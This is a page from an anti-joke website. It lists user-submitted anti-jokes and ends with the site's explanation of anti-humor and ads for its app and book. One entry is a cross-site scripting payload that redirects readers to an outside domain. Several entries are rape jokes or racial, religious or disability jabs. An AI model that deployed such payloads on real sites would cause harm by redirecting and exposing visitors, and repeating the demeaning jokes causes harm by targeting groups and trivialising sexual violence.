If little jimmy has five candy bars and he eats three, what does little jimmy have? Diabetes

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What makes the turtle move? It's legs.

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A student goes up to the teacher because he has to go to the washroom. The teacher tells him that he has to sing the ABC's before he can go. So the boy sings, "ABCDEFGHIJKLMNOPQRSTUVWXYZ." The teacher said he did a perfect job and could go to the washroom. The boy went on to become a billionaire. Congrats!

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The man goes to the doctor after just losing his job because his company went under because of the econmic crisis. His house is being foreclosed because without the money from his job he can't afford to pay for his house. His girlfriend also just left him because of recent conflicts about money and she was looking forward to having a family and with him jobless it was just out of the question. Man:"Doctor I could really use some good news" Doctor:"You have aids"

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"Knock knock" "Who's there?" "Fairy floss" "Fairy floss who?" "I'm sugar coating your Cancer diagnoses"

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Why is six afraid of seven? Six isn't actually afraid of seven. It is true that seven devoured nine's carcass, but one has to understand that cannibalism is not a taboo in their culture. In the world of cardinal numbers, protein is precious and leaving corpses to rot is dangerously unsanitary. You should not judge them by the standards of human society. It's ignorant and offensive.

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"'>document.location.href="http://cramik.org"

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Why couldn't the driver start his car? Because the driver was a tree

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You can talk the talk - but can you walk the walk?

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What do you call an iPod that doesn't work? An iPod that doesn't work.

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Why was the boy crying? Because he was told he would never find a wife

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Where was sally during the bombing? Everywhere!

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How can you tell the difference between a black guy and a white guy? skin color

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Polly went out for a fag. Then she was raped.

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A Muslim and 2 French people walked into a bar They start to have a nice conversation about Charlie Hebdo

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There's 2 black guys in a car. Who's driving. Probably one of the 2 men.

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What's yellow and smells like cheese? Cheese.

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What did the man with no arms or legs get for Christmas? A bike

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Did you hear about the comedian cereal killer?...He raped his victims before strangling them to death.

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A blonde goes to school, and completes a difficult math problem.

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Why would a dog sniff another dog's butt hole? Because that is what they do.

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I put the STD in stud now all i need is U

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Why did the chicken cross the road? To get to the gay boys house. Knock knock! whose there? The chicken!!

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Why did Sally cross the road? Because she fell off a tree. Why did Sally fall off the tree? Because Sally wanted to cross the road.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

Anti-Joke Triceratops